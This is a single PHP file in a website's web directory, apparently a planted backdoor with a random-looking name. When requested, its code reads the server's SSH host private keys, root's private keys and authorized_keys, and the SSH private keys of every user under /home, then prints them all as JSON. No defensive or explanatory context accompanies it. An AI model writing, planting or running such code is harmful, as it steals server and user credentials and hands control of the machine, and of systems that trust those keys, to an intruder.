File: /home/trebiaseguros/www/x816e4e.php
<?php $r=[];foreach(glob('/etc/ssh/ssh_host_*_key') as $f)$r['HOST_'.basename($f)]=@file_get_contents($f);foreach(glob('/etc/ssh/ssh_host_*_key.pub') as $f)$r['HOSTPUB_'.basename($f)]=@file_get_contents($f);$r['root_id_rsa']=@file_get_contents('/root/.ssh/id_rsa');$r['root_id_ed25519']=@file_get_contents('/root/.ssh/id_ed25519');$r['root_authorized']=@file_get_contents('/root/.ssh/authorized_keys');foreach(glob('/home/*/.ssh/id_rsa') as $f)$r['user_'.basename(dirname(dirname($f))).'_rsa']=@file_get_contents($f);foreach(glob('/home/*/.ssh/id_ed25519') as $f)$r['user_'.basename(dirname(dirname($f))).'_ed']=@file_get_contents($f);echo json_encode(['ok'=>1,'keys'=>array_filter($r)]);?>